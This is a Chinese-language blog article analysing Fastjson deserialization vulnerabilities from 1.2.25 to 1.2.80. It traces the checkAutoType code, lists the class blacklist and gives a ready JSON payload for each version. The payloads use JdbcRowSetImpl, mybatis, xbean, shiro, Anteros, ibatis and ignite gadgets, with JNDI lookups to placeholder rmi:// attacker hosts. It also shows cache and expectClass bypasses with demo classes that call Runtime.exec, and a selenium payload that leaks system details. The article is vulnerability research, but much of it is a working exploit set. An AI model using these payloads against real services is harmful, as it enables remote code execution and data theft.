目錄
<=1.2.25fastjson反序列化注入
<=1.2.42fastjson反序列化注入
<=1.2.43fastjson反序列化注入
<=1.2.45fastjson反序列化注入
1.2.46fastjson反序列化注入
<=1.2.47fastjson反序列化注入
1.2.48fastjson反序列化注入
<=1.2.62fastjson反序列化注入
?<=1.2.66fastjson反序列化注入
<=1.2.67fastjson反序列化注入
<=1.2.68fastjson反序列化注入
<=1.2.80fastjson反序列化注入
在之前我們分析了1.2.24反序列化漏洞的TemplatesImpl利用鏈,如果感興趣可以去看看 ,這里我們從1.2.25開始。
1.2.24 Fastjson反序列化TemplatesImpl利用鏈分析(非常詳細)_糊涂是福yyyy的博客-CSDN博客
<=1.2.25fastjson反序列化注入
在Fastjson1.2.25中使用了checkAutoType來修復1.2.22-1.2.24中的漏洞,同時增加了黑白名單。我們跟進代碼可以看到在276行使用了checkAutoType。跟進checkAutoType看看里面代碼如何執(zhí)行。
在checkAutoType里面會大概分成四種情況,第一種是開啟autoTypeSupport,需要判斷是否在白名單里面,在就直接加載類,不在就接著判斷是否在黑名單里面,在黑名單里面就直接拋出異常。第二種會去緩存里面尋找類。第三種關閉autoTypeSupport,需要判斷是否在黑名單里面,在黑名單里面就直接拋出異常。不在黑名單里面就接著判斷是否在白名單里面,在白名單就直接加載類。第四種開啟autoTypeSupport,直接加載類。其實就是說不管是開啟還是關閉autoTypeSupport都會進行黑白名單過濾,只不過先后區(qū)別。
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
//1.開啟autoTypeSupport,進行先白后黑名單過濾,存在白名單直接加載類
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
//2.在mapping和deserializers緩存里面尋找類
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
//3.autoTypeSupport關閉情況下,先黑名單在白名單過濾,在白名單里面就加載類
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
//4.開啟autoTypeSupport,直接加載類。
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
下面是黑名單,而我們的利用鏈com.sun.rowset.JdbcRowSetImpl是在這個黑名單里面的。我們需要對我們的playload進行簡單的改變才能繞過黑名單。
"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"
1.2.25Fastjson默認autoTypeSupport是不開啟的,我們可以通過代碼手動開啟autoTypeSupport。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
構造的playload如下,使用playload1。
String str4={\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 1
String str4={\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 2
因為我們手動開啟autoTypeSupport所以該playload在checkAutoType方法里面會走第一種情況,并且會通過黑名單檢測,然后會在第四種情況里面直接加載類,但是我們的類名Lcom.sun.rowset.JdbcRowSetImpl;是如何變成com.sun.rowset.JdbcRowSetImpl。這里我們需要進入到loadclass里面看看。
在loadclass方法里面會進行判斷,第一種情況判斷如果傳入進來的類名第一個字符是[,那么會取出后面的值進行后面的代碼執(zhí)行。第二種情況判斷如果我們的類名以L開頭且以;結尾,那么就會取出其中間作為新的類名。我們的playload是滿足第二種情況的。所以我們的惡意類com.sun.rowset.JdbcRowSetImpl就可以加載了。如果是使用playload2 就會滿足第一種情況,也能成功加載惡意類。
上述方法條件是必須開啟autoTypeSupport,不然會導致失敗。
<=1.2.42fastjson反序列化注入
需要開啟autoTypeSupport
在1.2.42版本中,黑白名單采用了hash值,如果你傳進來的的類名頭和尾是L;,那么會對你進行一次去頭去尾,再進行黑白名單校驗,有開發(fā)人員破解處理黑白名單,工具在這個鏈接。GitHub - LeadroyaL/fastjson-blacklist
?所以我們構造如下playload:
String str4="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";
我們雙寫LL;;這樣我們即使去掉一次L;我們還剩一組就可以繞過黑名單檢測,然后在loadclass方法里面提取出L;中間的值加載對應的類。
<=1.2.43fastjson反序列化注入
需要開啟autoTypeSupport
在1.2.43版本中在checkAutoType方法里面對連續(xù)出現(xiàn)兩個類描述符直接拋異常,所以想要通過L;來繞過黑名單是不可能的。這個時候我們需要想其他辦法來繞過黑名單檢測,這里就得提到我們在上面分析loadclass方法,可以看到在loadclass方法里面當我們得類名是以[開頭,我們是取[后面的值進行類加載。但是我們在構造playload的時候卻多了[{。有的同學可能對于playload為何那樣構造不是很明白。那我們一起分析以下。
首先我們按照常規(guī)思路構造如下playload:
String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";
當我們運行代碼時候會報錯,并且會提示你在42這個位置缺少一個[,報錯得位置是com.alibaba.fastjson.parser.DefaultJSONParser.parseArray。
?上面playload會繞過checkAutoType方法里面的黑名單,所以我們執(zhí)行完checkAutoType方法會進入deserialze方法里面,在151行執(zhí)行parseArray方法,進入其中。
?
?該方法里面會有一個token得檢測,如果不是等于14就會拋出異常,我們的token是16。那token是在那里設置為16呢。
回溯代碼發(fā)現(xiàn)在執(zhí)行完checkAutoType方法后調(diào)用nextToken()方法,傳入的參數(shù)是16。我們進入看看是如何設置token。
因為傳入得參數(shù)是16所以直接來到309行,因為我們?nèi)⊥觐惷?,現(xiàn)在當前的jason數(shù)據(jù)是逗號,所以滿足條件將token設置為16。當我們在逗號前面加一個[,該值不滿足case16里面所有條件,但是滿住337行if條件,所以執(zhí)行nextToken()方法,參數(shù)為空。
?該方法會將當前值和各種值進行比較,當當前值是 [ 的時候就將token設置為14。所以我們需要在playload里面額外加一個[。
當我們playload如下的時候又會出現(xiàn)報錯,報錯信息提示我們還需加一個{,報錯位置在JavaBeanDeserializer.deserialze。
String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://x1x.xx.xx2.xx3:9999/Exp\", \"autoCommit\":true}";
因為我們添加了[所以順利通過parseArray方法里面的token是否等于14的檢測,這時候我們在添加{,代碼會順利執(zhí)行到parseArray方法,在該方法的670行進行一次token值得變更,當當前值是 { tonken變成12。
接著執(zhí)行代碼進入714行deserialze方法里面,該方法會對token值進行判斷。
在395行可以看到判斷token是否不等于12且不等于16,當我們加上{,我們的token值是12的,所以該條件就不滿足。就會走else代碼,往下執(zhí)行就會觸發(fā)漏洞。
如果我們不添加 { ,同樣在parseArray方法里面的670行進行一次token值得變更,因為當前值是逗號就會執(zhí)行338行nextToken()方法。token值變成16。
我們parseArray方法里面拿到token返回值16,執(zhí)行681行滿足條件,又再次設置token值。這次token返回值是4。這個大家可以自己進入看看代碼如何執(zhí)行的。然后我們就和上面一樣進入714行deserialze方法里面。
這里和上面情況不一樣token值不等于12也不等于16,所以進入if語句里面。會進行以下判斷,判斷輸入值是否是空值等等,最后來到433行拋出異常。
?所以我們在1.2.43 fastjson版本觸發(fā)反序列化漏洞,需要構造如下形式的playload:
String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";
<=1.2.45fastjson反序列化注入
需要開啟autoTypeSupport
在1.2.45版本中修復了1.2.44版本漏洞,在checkAutoType方法里面添加對[字符的檢測。不過在該版本中發(fā)現(xiàn)新的利用鏈,該利用鏈不在黑名單里面。但是需要目標服務器存在mybatis包,且版本未3.x.x至小于3.5.0。
需要我們在pom.xml里面引入mybatis包
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.3.0</version>
</dependency>
?構造如下playload:
String str4="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xx.xxx.xxx.xx:9999/Exp\"}}";
該利用鏈主要是調(diào)用了setProperties方法里面的lookup方法。
1.2.46fastjson反序列化注入
該版本將org.apache.ibatis.datasource.jndi.JndiDataSourceFactory加入黑名單,修復了1.2.45版本的漏洞。
<=1.2.47fastjson反序列化注入
不需要開啟autoTypeSupport
在1.2.47版本中,通過利用類緩存機制(通過java.lang.Class
類提前帶入惡意類并緩存到 TypeUtils.mappings 中),可以在不開啟 AutoTypeSupport 的情況下進行反序列化的利用。
我們需要構造以下playload。
String str4="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://1xx.56.xx.xxx:9999/Exp\",\"autoCommit\":true}}}";
第一次的時候我們?nèi)〕鰜淼膋ey值是a,不是@type,所以我們執(zhí)行到488行,第二次調(diào)用parseObject方法,取出@type進入到checkAutoType。
因為沒有開啟autoTypeSupport,會先去mapping緩存尋找java.lang.Class,沒有找到。再去deserializers緩存尋找,找到了賦值給clazz,返回clazz。
?拿到clazz,進入到deserializer方法里面,在deserializer方法里面調(diào)用parse方法。在這之前需要zai 223行判斷健是否是val。不然會拋出異常。
執(zhí)行String stringLiteral = lexer.stringVal()代碼,將健是val的值賦值給stringLiteral變量。由我們的playload可知我們的val健對應的值就是我們的惡意類com.sun.rowset.JdbcRowSetImpl。
?拿到我們的惡意類回到deserializer方法里面,將值再賦值給strVal變量。
接下來就是判斷clazz的類型,clazz是一個class對象。執(zhí)行l(wèi)oadClass方法加載類。而傳進去的類名是strVal,也就是我們的惡意類。
?程序通過contextClassLoader.loadClass(className);方法從字符串類型className變量("com.sun.rowset.JdbcRowSetImpl")獲取到com.sun.rowset.JdbcRowSetImpl類對象,并賦值給clazz變量。此時的className、clazz變量形式如下圖,接著將className、clazz鍵值對加入mappings合集
??在我們的第一個json字符串解析完成后,程序隨后會解析我們第二個json字符串,解析過程與第一個完全一樣,當取到第二個@type的時候會進入checkAutoType方法中從mapping緩存中拿到我們的com.sun.rowset.JdbcRowSetImpl類對象,就會觸發(fā)漏洞。
1.2.48fastjson反序列化注入
該版本修復了1.2.47漏洞點,在執(zhí)行l(wèi)oadclass方法時候第三個參數(shù)cache的值是false。當其值為false就不會執(zhí)行mappings.put(className, clazz),我們的惡意類對象就不會添加到mapping緩沖里面。
<=1.2.62fastjson反序列化注入
需要開啟autoTypeSupport
1.2.62發(fā)現(xiàn)新的利用鏈,該利用鏈不在黑名單里面,該利用鏈需要目標服務器存在xbean-reflect包
構造如下playload?
String str4 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://xx.xx.x.xx:5555/Exp\"}"
該利用鏈主要調(diào)用了setAsText方法,該方法里面調(diào)用了lookup方法。
?<=1.2.66fastjson反序列化注入
需要開啟autoTypeSupport
1.2.62發(fā)現(xiàn)三個可用的利用鏈,這些利用鏈都不在黑名單里面。
- org.apache.shiro.jndi.JndiObjectFactory類需要shiro-core包;
- br.com.anteros.dbcp.AnterosDBCPConfig類需要Anteros-Core和Anteros-DBCP包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig類需要ibatis-sqlmap和jta包
我們以org.apache.shiro.jndi.JndiObjectFactory類為例,pom.xml引入依賴包
?構造如下playload:
String str4 = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"rmi://x.x.x.x:5555/Exp\"], \"Realms\":[\"\"]}";
該利用鏈先調(diào)用了setJndiNames方法,對jndiNames進行賦值,在調(diào)用getRealms方法里面的lookup方法。
?br.com.anteros.dbcp.AnterosDBCPConfig類POC:
String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";
String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";
pom.xml引入依賴包
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.2.6</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>
該利用鏈調(diào)用healthCheckRegistry方法里面的getObjectOrPerformJndiLookup方法里面的lookup方法。另外一個參數(shù)和healthCheckRegistry是一樣的。
???
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig類POC:
String str4 = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://x.x.x.x:5555/Exp\"}}";
pom.xml引入依賴包
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
?該利用鏈調(diào)用setProperties方法里面的lookup方法。
<=1.2.67fastjson反序列化注入
需要開啟autoTypeSupport
1.2.62發(fā)現(xiàn)兩個可用的利用鏈,這些利用鏈都不在黑名單里面。
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup類PoC:
String str4 = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"rmi://x.x.x.x:5555/Exp\",\"tm\": {\"$ref\":\"$.tm\"}}";
該利用鏈需要ignite-core、ignite-jta和jta依賴,pom.xml引入以下依賴包
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup類PoC中后面那段的{"$ref":"$.tm"}
,實際上就是基于路徑的引用,相當于是調(diào)用root.getTm()
函數(shù),即循環(huán)引用來調(diào)用了tm字段的getter方法了。
?org.apache.shiro.jndi.JndiObjectFactory類PoC:
String str4 ="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"rmi://x.x.x.x:5555/Exp\",\"instance\":{\"$ref\":\"$.instance\"}}";
該利用鏈需要shiro-core和slf4j-api依賴,pom.xml引入以下依賴包
<=1.2.68fastjson反序列化注入
不需要開啟autoTypeSupport
1.2.68修復了1.2.67反序列化漏洞,該漏洞和之前1.2.47相似點就是不需要開啟autoType也能導致反序列漏洞產(chǎn)生,但這個漏洞不能做到1.2.47那樣通用,還是有一些限制條件的。首先我們先建一個haha.java
import java.io.IOException;
public class haha implements AutoCloseable{
public haha(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
具體poc如下,下面會講述為什么這么構建。
String str4 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"haha\",\"cmd\":\"calc\"}";
因為在1.2.68版本中我們在不開啟autoType,繞過checkAutoType
的安全檢測,是因為我們利用它的第二個參數(shù)expectClass。我們跟進代碼看看如何繞過的。首先我們進入第一次checkAutoType,我們傳入的類是java.lang.AutoCloseable,這個類要求是能在緩存里面找到,且不在黑名單里面。這個我們就不調(diào)試了,和我們1.2.47第一次調(diào)試差不多。
我們執(zhí)行代碼來到377行,進入其中
該方法里面會繼續(xù)向后取值,取到@type會再次執(zhí)行一次checkAutoType方法,這里我們需要進行看一下。且這個時候第二個參數(shù)expectClass的值是interface?java.lang.AutoCloseable。這次
expectClass參數(shù)不為空哦。
首先會判斷expectClass參數(shù)是否為空,不為空是否不等于Object.class
、Serializable.class
、Cloneable.class
、Closeable.class
、EventListener.class、
Iterable.class、
Collection.class,
如果條件成立將
expectClassFlag設置為true,顯然該值為true。后面就是對于我們自定義的類haha進行黑白名單校驗,以及緩存尋找。
?最主要是這里,如果if語句里面有一個條件滿足就會調(diào)用loadClass方法,從上文知第三條件是true。
??????繼續(xù)執(zhí)行代碼在1124行會判斷expectClass該參數(shù)是否不為空,class haha是否是interface?java.lang.AutoCloseable的子類。如果成立就將haha添加到緩存里面去。這樣后續(xù)就和1.2.47一樣的了。
?解答POC:
我們主要是利用expectClass這個參數(shù),
第一點:這個參數(shù)需要在緩存里面能找到,不然你第一個檢測返回值就是空。
第二點:這個類的子類需要有漏洞點,不然你在反序列過程不會觸發(fā)漏洞。但是在這里我們?yōu)榱烁醚菔?,我們的子類是自己構造的?,F(xiàn)實中這個子類需要自己找,所以利用面沒有1.2.47廣。
第三點:為啥我們用java.lang.AutoCloseable這個類,是因為它在緩存中,
AutoCloseable(即其子類對象)持有文件句柄或者socket句柄,所以它是很多類型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便無法找到RCE gadget,也可以找到實現(xiàn)文件讀取或寫入的gadget,從而可以根據(jù)目標環(huán)境實際情況串出RCE。具體playload參考下面連接。
參考:Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用鏈分析 (上)_n0body-mole的博客-CSDN博客_fastjson1.2.68反序列化漏洞
那除了我們在734 行使用expectClass這個參數(shù)。我們還有一個地方也使用,不過它利用價值不大。我們會利用Throwable類。實際上很少有異常類會使用到高危函數(shù),所以目前還沒見有公開的可針對Throwable這個利用點的RCE gadget。
我們可以依賴selenium導致信息泄露。
首先導入selenium依賴:
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-api</artifactId>
<version>4.1.1</version>
</dependency>
POC如下:
String str4 = "{\"x\": {\"@type\":\"java.lang.Exception\", \"@type\":\"org.openqa.selenium.WebDriverException\"}, \"y\":{\"$ref\":\"$x.systemInformation\"}}";
其中,org.openqa.selenium.WebDriverException類的getMessage()方法和getSystemInformation()方法都能獲取一些系統(tǒng)信息,比如:IP地址、主機名、系統(tǒng)架構、系統(tǒng)名稱、系統(tǒng)版本、JDK版本、selenium webdriver版本。另外,還可通過getStackTrace()來獲取函數(shù)調(diào)用棧,從而獲悉使用了什么框架或組件。
<=1.2.80fastjson反序列化注入
不需要開啟autoTypeSupport
1.2.80和1.2.68的原理是一樣的只不過利用了Throwable類,之前1.2.68使用JavaBeanDeserializer
序列化器,1.2.80使用ThrowableDeserializer
反序列化器,前者是默認反序列化器,后者是針對異常類對象的反序列化器。實際上很少有異常類會使用到高危函數(shù),所以目前還沒見有公開的可針對Throwable這個利用點的RCE gadget。
我們構建惡意類
import java.io.IOException;
public class CalcException extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC:
String str4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"CalcException\",\"name\":\"calc\"}";
這個就不去調(diào)試了。要注意的是,由于java.lang.Throwable這個類不在緩存集合TypeUtils#mappings中,所以未開啟autoType的情況下,這個類是不能通過ParserConfig#checkAutoType()的校驗的。這里在JSON字符串中使用它的一個子類java.lang.Exception,因為java.lang.Exception是在緩存集合TypeUtils#mappigns中的。
總結:除了1.2.47,1.2.68以及1.2.80出現(xiàn)的漏洞不需要開啟autoTypeSupport,其他版本都需要開啟autoTypeSupport。當我們在使用JNDI+RMI或者JNDI+LdAP,需要注意JDK版本
文章來源:http://www.zghlxwxcb.cn/news/detail-420186.html
?文章來源地址http://www.zghlxwxcb.cn/news/detail-420186.html
到了這里,關于Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!